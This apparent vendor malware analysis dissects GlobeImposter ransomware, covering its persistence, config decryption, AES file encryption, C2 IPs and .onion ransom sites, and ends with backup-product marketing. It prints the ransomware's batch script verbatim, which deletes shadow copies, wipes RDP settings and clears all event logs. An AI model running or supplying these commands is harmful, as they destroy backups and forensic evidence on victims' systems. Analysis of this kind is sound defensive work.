GlobeImposter ransomware: A holiday gift from the Necurs botnet

By MSPThreatsSecurityTeam

Published: 2018-01-15 · Archived: 2026-04-05 21:10:58 UTC

GlobeImposter ransomware

On December 26, 2017, the Necurs botnet delivered a late Christmas gift – the new version of GlobeImposter ransomware [source]. Attached to spam messages as zip archives, the zip archive contains a JavaScript that downloads and installs ransomware on a victim's computer.

Static Analysis

The ransomware loader is supplied with the following icon:

GlobeImposter Ransomware Icon

The compilation timestamp tells the sample comes from 2016.

However, it was first seen in-the-wild on December 4, 2017 according to Virustotal (MD5: 2ca016fa98dd5227625befe9edfaba98).

Installation

To start itself after reboot:

[HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]

"BrowserUpdateCheck" = "C:\Users\<USER>\AppData\Roaming\<RANSOMWARE_NAME>.exe"

Then the GlobeImposter creates the file 'AE09C984DF6E74640B3271EADB5DD7C65FDE806235B2CDA478E0EFA9129C09E7' in %All Users%, where the name of the file is the 256-bit RC4 key used to decrypt the GlobeImposter's config:

Decryption of the payload

The GlobeImposter reads its encrypted image and decrypts itself by 32768(8000h)-byte blocks to the nsr3.tmp file in the %Temp% folder.

It extracts the System.dll (MD5: 3f176d1ee13b0d7d6bd92e1c7a0b9bae) that is a part of .NET framework to '%Temp%\nsp4.tmp\' folder.

Also, the GlobeImposter drops the file 'LGU' which is 67653 bytes in size (MD5: eba731947245c854d71341a41de88260) with encrypted data to the Temp folder.

Config decryption

The GlobeImposter contains the string used to calculate the SHA256 hash, which is the key to extract the config data.

CONFIG_KEY = SHA256
(“B231B717113902E9F788C7BD0C7ABABAF9B173A7F6B432076B82CBCB7C8149F3C
F2F55A8CBDD772BFB4E0A319AE1ED45EB4AA6C4C6BAC6E11014BDD47D3BDDA0DC
19B7F217C8A1B33BCAE7681020436907BEC78F0E47AD285D72B8E5466C83114CC
40D44A081A604F05E2D147DFC3AEDD9A7B69D493176EFD7D8B0D264D1A2BFB14F
ECC1378A8D90547A2F6CA070E90F95FCAA54FA26FA5D63DC84C6C3780D4BB41BE
4B608343D72DDE52DE40A2A06D56482454F9DF058E65C3F02CBE1B77289F39EC5
BDBC58653A35476A205CD7C75A40D34ECFA56DA0A6433E141F0D9AC60DFBAA21E
8AEB5658168253A315F298EDBC7850D3D79BB1E15FEF367F5BD27BF8D”)

=

AE09C984DF6E74640B3271EADB5DD7C65FDE806235B2CDA478E0EFA9129C09E7

The GlobeImposter’s payload decrypts its config, represented by the following C pseudo code:

To decrypt the config data, GlobeImposter uses RC4 cipher with 256-bit key.

Once decrypted, the extracted config looks as follows:

The config contains:

- The folder exclusions list

Windows, Microsoft, Microsoft Help, Windows App Certification Kit, Windows Defender, ESET, COMODO, Windows NT, Windows Kits, Windows Mail, Windows Media Player, Windows Multimedia Platform, Windows Phone Kits, Windows Phone Silverlight Kits, Windows Photo Viewer, Windows Portable Devices, Windows Sidebar, WindowsPowerShell, Temp, NVIDIA Corporation, Microsoft.NET, Internet Explorer, McAfee, Avira, spytech software, sysconfig, Avast, Dr.Web, Symantec, Symantec_Client_Security, system volume information, AVG, Microsoft Shared, Common Files, Outlook Express, Movie Maker, Chrome, Mozilla Firefox, Opera, YandexBrowser, ntldr, Wsus, ProgramData.

- The file extensions exclusion list

  .$er,.4db,.4dd,.4d,.4mp,.abs,.abx,.accdb,.accdc

- The string to be added as an extension to encrypted files. The string already contains a dot which means the encrypted file will look like: ‘picture.png..doc’.

.doc

- The file name with the ransom note

Read___ME.html

- Another 512 bytes of data of unknown purpose mostly filled with zeros

The last decrypted block is a ransom note:

The list of the processes to be terminated is stored outside of the encrypted config, in the payload body.

Key file

The ransomware loads the hard-coded 256-bit key (HCK265) from itself, which is used to generate AES key and IV for files encryption:

67 E6 09 6A 85 AE 67 BB 72 F3 6E 3C 3A F5 4F A5

7F 52 0E 51 8C 68 05 9B AB D9 83 1F 19 CD E0 5B

The key file with the session keys is created in %All users%. The name of the file is the config decryption key.

The key file contains auxiliary data that can be used to decrypt the user's files. The values are encrypted using AES-256-CBC six times with different IVs.

File encryption

The GlobeImposter ransomware encrypts local, removable, and network drives in parallel by running multiple threads. Once the key file is created in %All Users%, it starts a new thread for every available drive type to encrypt files on.

Before encryption, it checks:

- if the last five letters of the current file's name to '..doc'
- if the file name is equal to 'Read___ME.html'
- if the file name is equal to the key file name '*AE09C984DF6E74640B3271EADB5DD7C65FDE806235B2CDA478E0EFA9129C09E7*'
- if the file name is equal to the ransomware file name

To encrypt the user's files, the ransomware uses an AES-256-CBC algorithm with no padding.

To encrypt a file, the GlobeImposter ransomware calculates IV (16 bytes) and AES key (32 bytes) based on the hardcoded 32-byte key (HCK256) mentioned above.

Calculating AES 16-byte IV to encrypt a file:

AES IV for file encryption is the first 16 bytes of the hash calculated using a modified SHA-256 algorithm from the HCK256.

The last byte of IV is substituted with the four least significant bits of the size of the file to be encrypted:

IV[15] = File size & 8000000Fh4

The AES 32-byte key is generated based on hashing HCK256 with two different SHA256-like functions run in the loop 8192 times:

The cryptolocker reads a block of data from an original file and rewrites its content with the block of encrypted data in the same file. The block size is 8192 bytes if a file is bigger than that.

The added encryption footer contains:

- 32 bytes - the encrypted AES-256 key
- 16 bytes - IV
- 768 bytes - the encrypted auxiliary data from the key file that can be used to decrypt a file

To release the user's files locked by running processes, the cryptolocker terminates the following processes with the help of the 'taskkill' command:

- outlook
- ssms
- postgre
- 1c
- SQL
- excel
- word

Removing backups

The GlobeImposter creates and executes the batch file shown below to:

- remove shadow copies of the files
- disable remote desktop capability
- clean the Windows events log

```
@echo off

vssadmin.exe Delete Shadows /All /Quiet

reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f

reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f

reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"

cd %userprofile%\documents\

attrib Default.rdp -s -h

del Default.rdp

for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
```

Ransom note

The GlobeImposter creates the ransom note file ‘Read___ME.html’.

Communication with C&C

IPs:

- 137.254.120.31
- 74.220.219.67 (active)

Decryption service

http://n224ezvhg4sgyamb.onion/sup.php

http://n224ezvhg4sgyamb.onion/open.php

The available version of the GlobeImposter decryptor by Emsisoft cannot decrypt files encrypted by this version of the GlobeImposter ransomware [https://www.nomoreransom.org/en/decryption-tools.html].

Alarming trend and Acronis protection

With this sample, once again we see that new ransomware actively deletes backup files in Windows. In addition, there is no working decryptor, which means if your files are encrypted and no proper backup was made, the data is most likely lost. Again, the good news is that Acronis Active Protection successfully blocks the GlobeImposter ransomware, recovering files in a matter of seconds.

So when choosing your backup software, be sure to pick wisely if you want to keep your data safe.

If you’re looking for a backup solution that come with the industry’s only built-in active protection against ransomware, consider Acronis True Image and Acronis Cyber Backup. Both include technology that will detect the threat, block the attack, and restore the affected data.
